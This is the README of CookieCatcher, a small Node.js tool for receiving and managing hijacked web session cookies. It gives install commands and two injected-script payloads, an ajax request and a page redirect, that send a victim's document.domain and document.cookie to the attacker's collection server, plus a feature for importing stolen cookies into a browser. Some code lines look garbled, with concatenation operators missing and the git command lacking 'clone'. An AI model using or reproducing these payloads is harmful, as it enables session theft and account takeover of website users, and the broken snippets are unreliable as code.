This is a mini and simple API REST for management of Web sessions that were hijacked.
- Capture request through GET, POST, HEAD, OPTIONS, DELETE, PUT or PATCH (methods)
- Parse to cookies format
- Create script to import into your browser
- nodejs 0.10
$ git https://github.com/JavaGarcia/CookieCatcher.git
$ cd CookieCatcher
$ npm install
$ sudo DEBUG=APIcookies:* ./bin/www
Example with ajax (POST or GET)
$.ajax({
type: "POST",//or GET
url: "http://cookieCatcher/session",//obviously change (cookieCatcher).
data:"domain=" document.domain "&cookie=" document.cookie,
success: function(datos){/*if you want to show something.*/}
});
Normal request GET (redirect)
document.location.href="http://cookieCatcher/session/" document.domain "/" document.cookie;
You can see the file: example.html
CookieCatcher is licensed under the GPLv3: http://www.gnu.org/licenses/gpl-3.0.html.